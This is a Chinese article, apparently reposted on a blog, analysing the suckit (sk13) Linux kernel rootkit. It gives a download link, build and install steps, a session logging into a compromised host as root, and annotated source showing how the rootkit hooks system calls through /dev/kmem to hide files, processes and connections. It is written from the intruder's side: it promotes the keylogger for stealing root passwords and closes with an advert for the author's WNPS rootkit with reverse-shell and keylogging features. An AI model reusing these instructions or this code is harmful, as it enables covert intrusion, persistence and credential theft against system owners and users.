Linux后门系列--由浅入深sk13完全分析(缩水版)

GPT-5 nano实战指南:轻量大模型的端侧部署与工程落地 大语言模型正从参数竞赛转向真实场景可用性,轻量化、端侧运行与即插即用成为新焦点。GPT-5 nano并非简单压缩版,而是基于MoE专家架构、动态路由与INT4量化等核心技术重构的工程化产物,兼顾推理速度、内存占用与任务精度。其技术价值在于将百亿级能力下沉至手机、MacBook等边缘设备,在教育辅导、本地开发、小微客服等低算力、高隐私、强交互场景中实现‘开箱即用’。本文聚焦GPT-5 nano的架构原理、API调用实践、人格化配置与离线部署方案,为开发者与一线应用者提供可复用的轻量AI落地路径。 阅读详情
Linux后门系列--由浅入深sk13完全分析(缩水版)

作者 wzt
联系方式 wzt@xsec.org
个人网站 http://tthacker.cublog.cn http://xsec.org

本文首发《黑客防线》第八期,本文在《黑防》里有更详细更细致的描述,特别适合刚入门的小嘿嘿,因为网上发布的这个文章省略了不少术语的解释,不熟悉这个领域的朋友看起来感觉会比较迷茫,另外本人将陆续往《黑客防线》投稿《Linux后门系列》文章,有兴趣的朋友可以关注一下。

一、简介
二、sk的特色功能
三、sk13的安装使用
四、install.c执行流程
五、install代码完全解析
六、总结
七、参考
八、WNPS简介
九、感谢


一.简介.

我们经常可以从一些搞linux入侵的朋友那里听到他们讨论sk这个rootkit,其实sk的全称是suckit,意为super user control kit。suckit这个程序可以说是目前运行于Linux 2.4内核下最好的rootkit了。

关键字:Linux后门 Rootkit Linux入侵 suckit adore-ng ELF感染

1、背景知识:
什么是LKM:LKM英文是:Loadable Kernel Modules,翻译过来就是"可加载内核模块程序",这是一种区别于一般应用程序的系统级程序,它主要用于扩展linux的内核功能。LKM可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。讲到这里,大家是不是回忆起MSDOS中的TSR和Windows中的VxD呢?是的,这三者其实都是差不多的东西,它们都是常驻内存程序,并且可以捕获任何一个系统中断,功能十分强大,所以linux下的rootkit多为LKM。

2、sk攻击原理概述

sk是用过攻击/dev/kmem来拦截和修改系统调用来实现后门和隐藏功能的。所谓系统调用,就是内核提供的、功能十分强大的一系列的函数。这些系统调用是在内核中实现的,再通过一定的方式把系统调用给用户,一般都通过门(gate)陷入(trap)实现。系统调用是用户程序和内核交互的接口。系统调用在Linux系统中发挥着巨大的作用,如果没有系统调用,那么应用程序就失去了内核的支持。我们在编程时用到的很多函数,如fork、open等这些函数最终都是在系统调用里实现的,比如我们有这样一个程序:

#include <stdio.h>

int main(void)
{
    char    *name[2];

    name[0] = "/bin/sh";
    name[1]= NULL;
    
    if (!fork())
        execve(name[0],name,NULL);
    exit(0);
}

这里我们用到了两个函数,即fork和exit,这两函数都是glibc中的函数,但是如果我们跟踪函数的执行过程,看看glibc对fork和exit 函数的实现就可以发现在glibc的实现代码里都是采用软中断的方式陷入到内核中再通过系统调用实现函数的功能的。由此可见,系统调用是用户接口在内核中的实现,如果没有系统调用,用户就不能利用内核。所以在我们隐藏文件,隐藏网络通讯,隐藏进程信息,都要通过修改系统调用来实现。

二、sk的特色功能
wzt觉得作为一个优秀的linux rootkit,sk有着下面的特色:
1:sk后门服务端程序为静态ELF文件,压缩之后就几十K的大小。我们使用LKM后门的时候,经常会遇到一个很尴尬的情况,就是LKM后门代码无法在肉鸡上编译通过,要么缺少gcc,要么缺少内核代码,要么编译环境有问题,有了sk之后,我们就不需要再为这个问题烦恼了,我们只需要执行一下wget下载sk,并在肉鸡上直接执行就OK了,方便吧,真是居家旅行之必备rootkit啊。
2:通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门回连到我们的客户端,并且客户端有自动扫描功能,它会自动扫描肉鸡开放的端口并发送激活指令。特别在一些有防火墙的环境里,限制了回连的目标端口,我们还可以指定特殊的回连端口来绕过防火墙,比如回连到80、443这种一般都开放的TCP端口。
3:sk后门有一个tty sniffer,什么是tty sniffer呢,通俗的说就是一个"键盘记录",不过他不但可以记录控制台的操作,还可以记录远程连接的操作,它根据程序指定的关键字抓取tty记录,主要包括ssh,passwd,telnet,login等关键字,和thc.org的keylogger相比有过之而无不及啊,通过这个功能我们可以很容易的抓到相关密码而扩大战果,特别是在root密码设置十分BT的时候,我们无法用john来暴力破解,tty log就可以记录到root的密码,甚至是其他linux的root密码 :)
4:sk采用动态隐藏的方式来隐藏指定的内容,包括文件,进程,网络连接。为什么说是动态隐藏呢,因为当我们使用sk的客户端登录到肉鸡之后,除了文件是根据prefix隐藏之外,其他的一切的操作都是隐藏的。这个功能十分之方便,只要我们使用sk的客户端登录之后,就可以放心的操作了,不需要担心什么东西没有隐藏而被管理员发现。相比之下,adore-ng这类rootkit就有点不人性化了,必须使用客户端手动的去隐藏指定的进程、网络和文件。
5:sk的自动启动也十分隐蔽,它通过替换系统的init文件来实现自动启动,一般情况下非常难被发现。

上面我们说的只是sk1.x的功能,sk2在sk1.x的基础上又有了如下的增强:
1:后门的服务端和客户端集成在一个程序内,不得不提的是0x557的sam牛牛修改了putty作为sk2的客户端,这样将大大的方便了经常在windows下管理肉鸡的朋友们了。
2:端口回连后门升级为端口复用后门,可以复用系统大部分端口,包过滤防火墙在他面前几乎没有任何用处。
3:自动启动方式完全改变,sk2可以感染系统的elf文件达到自启动的目的,比如我们可以感染/sbin/syslogd文件,在syslogd服务启动的同时,我们的sk2也启动了。这个自启动方式是十分灵活也十分隐蔽的,就我所知,现在除了sk2之外,没有一个公开的后门或者rootkit是通过感染elf文件启动的。如果想深入的了解ELF感染是如何实现和变幻的,请留意我的《ELF感染面面观》一文。
4:增强了自身的加密功能,程序执行受到严格保护,没有密码将无法正确安装后门或者执行客户端。

sk2虽然在功能上有了十分大的提高,但是公开版的sk2rc2还是存在一些说大不大说小不小的BUG的,具体有什么BUG我将在下一篇《Linux后门系列--由浅入深sk2完全分析》中一一透露。

三、sk13的编译和使用
sk13的安装和使用很简单,只需要编译一次,sk就可以拿着到处使用了,下面给大家演示一下编译和使用的过程。
1、编译
下载代码 http://www.xfocus.net/tools/200408/sk-1.3b.tar.gz
先配置一下参数:
tthacker@wzt:~/sk# make skconfig
rm -f include/config.h sk login inst
make[1]: Entering directory `/root/sk/src'
make[1]: Leaving directory `/root/sk/src'
make[1]: Entering directory `/root/sk/src'
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c sha1.c
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c crypto.c
In file included from ../include/extern.h:9,
                 from ../include/stuff.h:18,
                 from crypto.c:7:
../include/skstr.h:20: warning: conflicting types for built-in function `vsnprintf'
../include/skstr.h:22: warning: conflicting types for built-in function `vsprintf'
../include/skstr.h:25: warning: conflicting types for built-in function `vsscanf'
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -s zpass.c sha1.o crypto.o -o pass
make[1]: Leaving directory `/root/sk/src'
/dev/null

Please enter new rootkit password: -->这里输入rookit的登录密码
Again, just to be sure:
OK, new password set.
Home directory [/dev/sk13]: /dev/sk13  -->这里设置隐藏的目录
Magic file-hiding suffix [sk13]: sk13 -->这里设置文件隐藏的前缀

Configuration saved.
>From now, _only_ this configuration will be used by generated
binaries till you do skconfig again.

To (re)build all of stuff type 'make'  -->现在我们可以开始编译了
tthacker@wzt:~/sk#make
这里省略N字,当我们看到下面的信息的时候,sk就编译好了
Okay, file 'inst' is complete, self-installing script.
Just upload it somewhere, execute and you could log in using
./login binary.

Have fun!

生成了一个安装文件,是一个shell脚本,他会自动安装后门的。
我们直接执行他就可以安装了
tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install
us into memory. Have fun!
我们的home目录就在/dev/sk13了,以后我们的相关的程序就都放这里好了,隐藏的,管理员看不见 :)
tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000
嘿嘿,安装完毕,我们现在可以使用客户端登录了,客户端在编译sk的时候也一同生成了的,我们一起看看,很爽的,只要对方开放了任何一个TCP端口,我们就可以通过这个端口进入系统,权限是root哦。
tthacker@wzt:~/sk# ./login
/dev/null
use:
./login [hsditc] ...args
-h      Specifies ip/hostname of host where is running
        suckitd
-s      Specifies port where we should listen for incoming
        server' connection (if some firewalled etc), if not
        specified, we'll get some from os
-d      Specifies port of service we could use for authentication
        echo, telnet, ssh, httpd... is probably good choice
-i      Interval between request sends (in seconds)
-t      Time we will wait for server before giving up (in seconds)
-c      Connect timeout (in seconds)

tthacker@wzt:~/sk# ./login -h 192.168.1.1 -d
/dev/null
Listening to port 43544
password:
Trying 192.168.1.1:80 ... -->嘿嘿,开了80我们也照进。
Trying...Et voila
Server connected. Escape character is '^K'
/dev/null
[tthacker@localhost sk13]# -->yeah,我们进来了,我们在这个环境里执行的任何程序的进程,开放的任何端口,管理员都看不到的,不过千万别删除别搞破坏啊。              

知其然,知其所以然,我们一起从代码级别仔细剖析这个超级强大的sk吧。

  
四、install.c执行流程

sk的优点我们就介绍完了,那么到底它这么强悍的功能是如何实现的呢?最近我在分析sk2的代码,对它的hook原理还不是很清楚。于是就想看看sk13b的hook方法和它有什么区别,没准还能多给我一些提示呢。于是翻出了sk13b代码分析了通,hook原理与sk2的真不相同。
如作者所说,sk13b把系统中一些不经常用的系统调用替换为kmalloc()的地址,然后给那个系统
调用传递kmalloc的参数,就可以在内核空间为sk分配空间了。为了学习我把分析过程写出来,
如果有什么不对的地方,欢迎斧正。


    install()函数的功能是为kernel.c做初始化整备,并把sk装载到内存中。这也是sk hook原理最精华的部分了。
    首先得到idt表的地址,然后得到int 0x80中断描述符的地址,通过读kmem把其int 0x80中断描述符的
    内容到idt80结构中,然后提取出system_call在系统中的实际地址,在通过get_sct函数得到sys_call_table的
    地址。用kmalloc的地址,替换oldolduname系统调用的入口地址,在利用kmalloc在内核为sk分配空间。
    最后转向kernel.c继续执行。
    
    上述可能忽略了很多具体的细节,我将在第3部分给出详细的解析。
    
五、install.c代码完全解析

    为了阅读方便,我直接贴出主要代码,并给出中文注释。
    
    install.c /install()
    作用:install()函数为kernel.c做初始化整备,并把sk装载到内存中.
    
    int    install()
    {
       int            fd;
       ulong        sct;
       ulong        kmalloc;
       ulong        gfp;
       struct idtr    idtr;
       struct idt    idt80;
       ulong        oldsys;
       ulong        mem;
       ulong        size;
       ulong        sctp[2];
       ulong        old80;

       mkdir(HOME, 0644);

       /* 打开/dev/kmem  */

       fd = open(DEFAULT_KMEM, O_RDWR, 0);
       if (fd < 0) {
          printf("FUCK: Can't open %s for read/write (%d)/n", DEFAULT_KMEM,-fd);
        return 1;
       }

       /* 寻找中断描述符表的地址 */

       asm ("sidt %0" : "=m" (idtr));

       printf("RK_Init: idt=0x%08x, ", (uint) idtr.base);

       /* 从kmem中读取int 0x80中断描述符的内容到idt80结构中,注意读出的是描述符的内容 */

       if (ERR(rkm(fd, &idt80, sizeof(idt80),
          idtr.base + 0x80 * sizeof(idt80)))) {
          printf("FUCK: IDT table read failed (offset 0x%08x)/n",
            (uint) idtr.base);
          close(fd);
          return 1;
       }

       /* 根据idt80计算出其int 0x80服务程序的实际地址,就是system_call的地址 */

       old80 = idt80.off1 | (idt80.off2 << 16);

       /*
            根据system_call的地址,找到sys_call_table的地址
        */

       sct = get_sct(fd, old80, sctp);

       if (!sct) {
          printf("FUCK: Can't find sys_call_table[]/n");
          close(fd);
          return 1;
       }

       printf("sct[]=0x%08x, ", (uint) sct);

       /* 在kmem中寻找kmalloc的地址 ,并把GFP_KERNEL的地址保存 */

       kmalloc = (ulong) get_kma(fd, sct & 0xff000000, &gfp, get_kma_hint());
       if (!kmalloc) {
          printf("FUCK: Can't find kmalloc()!/n");
          close(fd);
          return 1;
       }
       printf("kmalloc()=0x%08x, gfp=0x%x/n", (uint) kmalloc,
        (uint) gfp);

      /*
            把oldolduname系统调用的地址读出,并保存

            注意:oldolduname不经常被使用,所以可以用来被替换,你也可以换成其他
            不常用的系统调用
      */

       if (ERR(rkml(fd, &oldsys, sct + OURSYS * 4))) {
          printf("FUCK: Can't read syscall %d addr/n", OURSYS);
          close(fd);
          return 1;
       }

        /*
            用kmalloc的地址替换oldolduname的地址
        */

       wkml(fd, kmalloc, sct + OURSYS * 4);

        /*

            计算将要用kmalloc分配的内存大小,注意是在内核区域分配内存

            大小等于sk自身的长度+256个系统调用的地址+512个pid_struc个结构体的大小

            注意:sk13b将要把原来的sys_call_table的所有内容重新分配到即将开辟的内存
            中,hook系统时是hook新的sys_call_table数组的,并用新的sys_call_talbe的
            地址覆盖原来的sys_call_talbe地址

        */

       size = (ulong) kernel_end - (ulong) kernel_start
            + SCT_TABSIZE + PID_TABSIZE;

       printf("Z_Init: Allocating kernel-code memory...");

        /*

            调用kmalloc在内核区域中分配内存

            注意: 刚才已经把oldolduname的地址替换成kmalloc的地址了,只要调用oldolduname
            就可以调用kmalloc函数了

            补充:如何在应用程序中直接调用kmalloc

            sk在stuff.h中定义了类似如下的几个宏函数:

        #define syscall2(__type, __name, __t1, __t2)        /
           __type __name(__t1 __a1, __t2 __a2)    /
        {                    /
           ulong    __res;            /
           __asm__ volatile        /
           ("int    $0x80"            /
           : "=a" (__res)            /
           : "0" (__NR_##__name)        /
           rr("b", __a1)            /
           rr("c", __a2));        /
           return (__type) __res;        /
        }

        static inline syscall2(ulong, KMALLOC, ulong, ulong);被展开后就变为:

        static inline ulong KMALLOC(ulong __a1,ulong __a2)
        {
           ulong    __res;
           __asm__volatile
           ("int    $0x80"
           : "=a" (__res)
           " "0"(__NR_KMALLOC)
               rr("b", __a1)
           rr("c", __a2));

           return (ulong)__res;
        }

        又根据
        #define    __NR_KMALLOC OURSYS
        #define    OURSYS __NR_oldolduname
        在进一步替换为:

        static inline ulong KMALLOC(ulong __a1,ulong __a2)
        {
           ulong    __res;
           __asm__volatile
           ("int    $0x80"
           : "=a" (__res)
           " "0"(__NR_oldolduname)
               rr("b", __a1)
           rr("c", __a2));

           return (ulong)__res;
        }

        执行KMALLOC(size,gfp),实际是去执行oldolduname系统调用,但我们知道它的地址
        已经被kmalloc的地址替换了,所以就去执行kmalloc,到此,我们已经在内核区域中
        分配了指定大小的空间

        */

       mem = KMALLOC(size, gfp);
       if (!mem) {
          wkml(fd, oldsys, sct + OURSYS * 4);
          printf("FUCK: Out of kernel memory!/n");
          close(fd);
          return 1;
       }

        /* 将sk装入刚才分配的内存中 */

           wkm(fd, (void *) kernel_start,
              (ulong) kernel_end - (ulong) kernel_start,
              mem + SCT_TABSIZE);

        /*
        用kernel_init函数的地址替换掉oldolduname系统调用的地址
        跟KMALLOC同样的道理,调用oldolduname等于调用kernel_init

        */

       wkml(fd, mem + SCT_TABSIZE +
          (ulong) (kernel_init) - (ulong) kernel_start,
          sct + OURSYS * 4);

        /*

        下面是sk所在内核区域内的内存分配示意图

        mem                    kernel_start  kernel_init  kernel_end
        |                          |             |            |
        V ------> 256 * 4 <--------V             V            V   ----->512*sizeof(pid_struc)
        +------------------------------------------------------------------------------------
        | 新的sys_call_table的数组 |             |            |        PID_TABSIZE          |
        +------------------------------------------------------------------------------------
                                                |
                                                |
                                                |
                                                |
                                                V
                             +--------------------------------------+
    老的sys_call_table[]数组  |                 |                    |
                              +--------------------------------------+
                                                ^
                                                |
                                            oldolduname
        */


    /*

    KINT同KMALLOC一样都是去执行oldolduname,然后就可以执行kernel.c/kernel_init了,是不是很巧妙呢

    注意:从这以后就开始转向kernel.c/kernel_init()函数了

    */

       KINIT(mem, sct, sctp, oldsys);

       printf("Done, %d bytes, base=0x%08x/n", (int) size, (uint) mem);
       return 0;
    }


    pattern.c/get_sct:

    作用:根据system_call函数地址找到sys_call_table[]数组地址


    代码分析:

    ulong    get_sct(int fd, ulong ep, ulong *pos)
    {
    #define    SCLEN    512
       char    code[SCLEN];
       char    *p;
       ulong    r;

    /*
        从kmem的ep(system_call的地址)偏移位置读取512字节到code缓冲区中
    */

       if (rkm(fd, code, sizeof(code), ep) <= 0)
          return 0;

    /*

        在code缓冲区中匹配搜寻/xff/x14/x85

        注意:call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x
        p的地址是call something<,eax,4)机器码的首地址,要得到sys_call_table的地址还得在+3


    */
       p = (char *) memmem(code, SCLEN, "/xff/x14/x85", 3);
       if (!p) return 0;


    /*
        (p+3) - code 是sys_call_table相对code的偏移量,在+ep,也就是sys_call_table的地址,
        与r的值是一样的

    */
       pos[0] = ep + ((p + 3) - code);

    /* r的地址就是sys_call_table的首地址 */

       r =  *(ulong *) (p + 3);

    /* p还是sys_call_table的地址  */

       p = (char *) memmem(p+3, SCLEN - (p-code) - 3, "/xff/x14/x85", 3);
       if (!p) return 0;

       pos[1] = ep + ((p + 3) - code);

       return r;
    }


    pattern.c/get_kma():
    作用:通过模式匹配搜索kmalloc()函数的地址
    如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,
    但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:

    push GFP_KERNEL <something between 0-0xffff>
    push size <something between 0-0x1ffff>
    call kmalloc

    然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址
    
    ulong    get_kma(int kmem, ulong pgoff, ulong *rgfp, ulong hint)
    {
    #define    KCALL    8192
    #define    KSIZE    (1024*1024*2)
    #define    BUFSZ    (1024*64)
    #define    MAXGFP    0x0fff
    #define    MAXSIZE    0x1ffff
       uchar    buf[BUFSZ+64];
       uchar    *p;
       ulong    pos;
       ulong    gfp, sz, call;
       kcall    kcalls[KCALL];
       int    c, i, ccount;

       gfp = sz = call = ccount = 0;

       for (pos = pgoff; pos < (KSIZE + pgoff); pos += BUFSZ) {
          c = rkm(kmem, buf, BUFSZ, pos);
          if (ERR(c)) break;
          /* 寻找push和call指令 */
          for (p = buf; p < (buf + c); ) {
             switch (*p++) {
                case 0x68:
                    gfp = sz;
                    sz = *(ulong *) p;
                    p += 4;
                    continue;
                case 0x6a:
                    gfp = sz;
                    sz = *p++;
                    continue;
                case 0xe8:
                    call = *(ulong *) p + pos +
                    (p - buf) + 4;
                    p += 4;
                    if (gfp && sz &&
                        gfp <= MAXGFP &&
                        sz <= MAXSIZE) break;
                default:
                    gfp = sz = call = 0;
                continue;
            }
            
            for (i = 0; i < ccount; i++) {
                if ((kcalls[i].addr == call) &&
                    (kcalls[i].gfp == gfp)) {
                    kcalls[i].count++;
                    goto outta;
                }
            }
            
            if (ccount >= KCALL)
                goto endsrch;
                
            kcalls[ccount].addr = call;
            kcalls[ccount].gfp = gfp;
            kcalls[ccount++].count = 1;
          outta:
          }
       }
    endsrch:
       if (!ccount) return 0;
       c = 0;
       for (i = 0; i < ccount; i++) {
          if (hint) {
             if (kcalls[i].addr == hint) {
                c = i;
                break;
            }
          } else {
             if (kcalls[i].count > kcalls[c].count)
                    c = i;
          }
       }
       *rgfp = kcalls[c].gfp;
       return kcalls[c].addr;
    #undef KCALL
    #undef KSIZE
    #undef BUFSZ
    #undef MAXGFP
    #undef MAXSIZE
    }

    kernel.c/kernel_init()函数
    
    kernel.c的入口语句是:KINIT(mem, sct, sctp, oldsys);
    
    /* initialization code (see install.c for details) */
    void    kernel_init(uchar *mem, ulong *sct, ulong *sctp[2], ulong oldsys)
    {

    /*  ksize 为sk本身的大小 ,newsct指向刚才用kmalloc分配的内存区域 */

       ulong    ksize = (ulong) kernel_end - (ulong) kernel_start;
       ulong    *newsct = (void *) mem;

    /* 将oldsys 保存到原来的地址处,oldsys 保存的是oldolduname系统调用的地址 */

       sct[OURSYS] = oldsys;

    /*
        请看内存示意图

    mem                    kernel_start  kernel_init  kernel_end
    |                          |             |            |
    V ------> 256 * 4 <--------V             V            V   ----->512*sizeof(pid_struc)
    +------------------------------------------------------------------------------------
    | 新的sys_call_table的数组 |             |            |   000000--------------000000|
    +------------------------------------------------------------------------------------


    memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE);

    /* 保存老的sys_call_table指针 ,pidtab指向mem + SCT_TABSIZE + ksize内存区域 */

       *oldsct() = (ulong) sct;
       *pidtab() = (void *) (mem + SCT_TABSIZE + ksize);

    /* 将老的sys_call_table的数组内容保存到mem开始出,这样newsct就保存了原sys_call_table的全部内容 */

       memcpy(mem, sct, SCT_TABSIZE);

    /*
        下面就是修改系统调用指针入口来hook系统调用了

        hook(OURCALL); 是一个宏调用

        #define    hook(name)    /
       newsct[__NR_##name] = ((ulong) new_##name -    /
                  (ulong) kernel_start) +    /
                  (ulong) mem + SCT_TABSIZE;

        这样hook(OURCALL);就被展开为:

        newsct[__NR_OURCALL] = ( (ulong) new_OURCALL - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

        sk.h中OURCALL被定义为:
        #define    OURCALL oldolduname

        newsct[__NR_oldolduname] = ( (ulong) new_oldolduname - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

        在看内存示意图

    mem                    kernel_start  kernel_init  kernel_end
    |                          |             |            |
    V ------> 256 * 4 <--------V             V            V   ----->512*sizeof(pid_struc)
    +------------------------------------------------------------------------------------
    | 新的sys_call_table的数组 |      |      |            |   000000--------------000000|
    +------------------------------------------------------------------------------------
           ^                         ^
           |                         |
      oldolduname<------------new_oldolduname

    用kernel.c中的new_oldolduname来指向原来的oldolduname

    注意:oldsctp(),*oldsct(),*pidtab() 这3个函数的内存大小是怎么分配的,请看对kernel.c的分析

    */

       hook(OURCALL);
       hook(clone);
       hook(fork);
       hook(vfork);
       hook(getdents);
       hook(getdents64);

       hook(kill);
       hook(open);
       hook(close);
    #ifdef SNIFFER
       hook(read);
       hook(write);
    #endif
    #ifdef SNIFFER
       hook(execve);
    #endif
    #ifdef INITSTUFF
       hook(utime);
       hook(oldstat);
       hook(oldlstat);
       hook(oldfstat);
       hook(stat);
       hook(lstat);
       hook(fstat);
       hook(stat64);
       hook(lstat64);
       hook(fstat64);
       hook(creat);
       hook(unlink);
       hook(readlink);
    #endif

    /* 将老的sys_call_table指针入口保存到oldsctp中 */

       memcpy(oldsctp(), sctp, 2 * sizeof(ulong));

    /* 用新的sys_call_table[]替换原来的sys_call_talbe,到此hook系统调用就成功了 */

       *sctp[0] = (ulong) newsct;    /* normal call */
       *sctp[1] = (ulong) newsct;    /* ptraced call */
    }

    到此sk的hook系统调用的过程就结束了。
    
    
    补充:
    kernel.c可为sk13b代码中较为复杂的代码了 ,如果要读懂它,需要对linux代码很熟悉.
    基本上是一些系统调用的替带品,但是有些宏函数不是很好理解,我在这里简单提一下.
    
    DVAR(pid_struc *, pidtab, NULL);
    DVAR(ulong, oldsct, 0);

    DVAR 是个宏调用;

    在Rdata.h中定义如下:

    #define DVAR(type, name, val)    /
       DARR(type, 1, name, val)

    是个宏嵌套,DVRR如下:

    #define DARR(type, count, name, val...) /
       struct s_##name {    /
        uchar    s[5];    /
        type    l[count]; /
        uchar    f[2];    /
    } __attribute__((packed)); /
    static struct s_##name f_##name = /
    {{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0},    /
    {val},            /
    {0x58, 0xc3}};        /
    static inline type *name(void) /
    {            /
        type *(*func)() = (void *) &f_##name; /
        return func();    /
    }

    我们把DVAR(pid_struc *, pidtab, NULL);展开后看看

    DVAR(pid_struc *, pidtab, NULL);

    DVRR(pid_struc *, 1,pidtab, NULL);

    struct s_pidtab{
        uchar    s[5];
        pid_struc * l[1];
        uchar       f[2];
    } __attribute__((packed));        /*  __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐  */

    static struct s_pidtab f_pidtab =
       {{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0},    
       {val},            
       {0x58, 0xc3}};    

    static inline type *pidtab(void)
    {            
       pid_struc* *(*func)() = (void *) &f_pidtab;
       return func();    
    }


    DARR(ulong *, 2, oldsctp);

    这下明白oldsctp(),*oldsct(),*pidtab()这几个函数指针是什么意思了吧.

六、总结

    现在对于sk hook系统调用的过程应该很清楚了吧,如果有其他函数或数据不了解的话,
    请参考它的全部代码.同时sk是通过读和写kmem来控制系统的,kmem是一个字符设备文件,
    是计算机主存的一个影象。它可以用于测试甚至修改系统。但在有些系统如fc4上已经
    禁止写kmem了,所以sk13b自然在那些系统不能安装,也时很多sk的爱好者沮丧.
    如果你掌握了破解的方法,可以与我讨论:) 联系方式 wzt@xsec.org或者来 http://tthacker.cublog.cn和 http://xsec.org来找我。
    
七、参考

    [1] Sk-1.3b source code by sd
    [2] Linux on-the-fly kernel patching without LKM by sd&devik
    [3] Linux 2.4.20-8 soucre code
    [4] Intel 80386 Programmer's Reference Manual

八、WNPS简介
广告时间到…………………………………………………………………………………………………………………………………………………………

经过一个多月的开发,WNPS这个2.6下的rookit+backdoor程序马上就要跟大家见面了,先简单介绍一下它,大家也可以提一些功能需求,有必要的话我将尽力补上。
WNPS是一只工作在x86 2.6.x内核下的rootkit+backdoor程序(x86_64待测),它的意思是wnps is not poc shell,我的意图在于将它设计成一个可用于实战的linux rootkit,我和包子提取了suckit、enyelkm、adore-ng和boxkit的优点并把这些优点集成到了WNPS,我对作者的开源精神深表感激,我对包子肉鸡的主人也深表感激。

WNPS 功能特点:(部分功能在收费版中才有,各位放心,即使是公开版,也绝对可以满足我们日常的需求了)

1、隐藏
隐藏指定文件
隐藏文件中特定的内容
隐藏进程
动态隐藏网络连接、进程-->用过sk的都知道什么是动态隐藏
隐藏自身模块
保护相关模块、进程、文件不被跟踪

2、内核反弹后门
内核反弹后门
即使肉鸡没有开放任何TCP UDP端口并过滤icmp包,只要肉鸡让回连,我们就可以获得shell
跨内核平台简易安装,拿着一个wnps.ko就可以管理所有2.6内核的机器,所有要做的事情只是执行insmod wnps.ko
完美的伪终端支持,让你用起来更顺心,舒心
可以设置定时自动回连,即使你的肉鸡在内网的深处,也不用担心她跑路


3、键盘记录功能
想看看有没其他人在你的肉鸡里跳舞?这个是最好的办法,还可以通过键盘记录把别人的肉鸡给抢了,怎么抢,自己发挥想像空间吧。键盘记录功能对渗透和保护肉鸡都有相当重要的意义。键盘有两种模式,一个是密码模式,就是专门记录密码相关的了,只要触发了相关特征字符串,我们就记录下相应的内容,还有一个就是完全记录模式了,顾名思义了。

4、模块注射
比adore-ng更稳定的模块注射方式,让你不用担忧wnps的自启动问题,另外我们还可以使用wnps的文件内容隐藏功能,在rc.local中写入insmod wnps.ko来自启动模块

5、通讯加密
怕被sniff吗?用wnps吧,从登录验证到指令传输,一切都在高强度加密保护之下,让你无后顾之忧

6、强大的客户端
wnps兼容性好,可以使用专用的客户端或者nc来登录wnps,即使出门在外,想管理一下肉鸡也很EASY,并且专用客户端可以在cygwin的环境下运行 :)
客户端吸纳了boxkit的肉鸡管理模式,一个shell可以管理多个肉鸡,呵呵,其实boxkit的这个特性应该是来自screen的了


九、感谢
感谢我的父母和我的女朋友给予我的支持,感谢包子(fatb,baoz,perlish...马甲太多了)给予的帮助。
DeepSeek V4-Pro与V4-Flash API实战接入深度解析 大语言模型API调用已从单纯‘换模型’进入全链路工程化阶段。理解MoE稀疏激活、KV缓存复用、Token级预计算等底层原理,是实现低成本高并发的关键。V4-Pro与V4-Flash并非简单参数差异,而是面向不同场景的架构分型:前者强在跨文件语义连贯与长上下文推理,后者胜在单位算力吞吐效率与缓存命中率。开发者需关注API网关兼容性、计费引擎实时性、响应头字段(如x-cache-status、x-cost)等生产级指标,而非仅看文档声明。本文基于137次实测调用与多平台对比,聚焦DeepSeek V4系列在真实 阅读详情

相关推荐

MLflow轻量级实验追踪实战:本地化部署与模型注册

实验追踪是机器学习工程化的基础能力,指对模型训练过程中的参数、指标、代码、数据和模型等元数据进行结构化记录与版本管理。其核心原理在于建立‘实验-运行-工件’三级因果链,确保结果可复现、过程可审计、模型可回溯。技术价值体现在降低协作成本、加速迭代验证、支撑模型治理,并为MLOps演进提供可扩展底座。典型应用场景包括算法团队实验管理、教学科研复现、Kaggle项目工程化及中小规模生产环境的模型上线前验证。本文聚焦MLflow本地化实践,深入解析实验追踪、模型注册等关键机制,提供零依赖、可嵌入、易演进的轻量部署方

weixin_30363981的博客 357

阿里云Coding Plan Lite/Pro迁移实战:OpenClaw本地Agent工作流重构指南

AI开发工作流正从‘调用API’迈向‘可审计、可配额、可运维’的生产级基础设施阶段。Coding Plan作为阿里云面向开发者推出的模型服务层,其Lite与Pro套餐差异本质是服务SLA与工程治理能力的分水岭——前者限于尝鲜,后者支撑稳定交付。核心原理在于配额计量黑箱化(含上下文长度加权、工具调用惩罚、图片理解溢价)、模型白名单字符级校验、以及OpenAI/Anthropic双协议绑定机制。技术价值体现在将月均API成本压缩84%、规避误扣风险、并实现OpenClaw等开源Agent零逻辑改造接入。典型应用

angw337679452的博客 395

全志的 Linux 内核后门分析

全志kernel后门分析最近全志开发人员在其kernel中留下后门一事闹得沸沸扬扬。还不知道的同学请参看http://www.cnbeta.com/articles/501193.htm。本人将全志的这个后门移植到了raspberry pi 3的4.6内核,试了一下,确实好用。有兴趣的同学可以玩玩。下面是我修改过的代码。将其编译成模块,使用root插入这个模块后,任意一个用户执行echo “root

rock lee 2555

Big List Of Hacking Tools 2009 北美2009年***软件工具箱

http://rapidshare.com/files/2075 ... ckpack.zip.001.html http://rapidshare.com/files/207538394/thefeliksbighackpack.zip.002.html http://rapidshare.com/files/207537897/thefeliksbigha...

weixin_34153893的博客 980

不到200块!手把手教你用ZYNQ7010和AD9363攒一台自己的开源SDR硬件(附BOM清单)

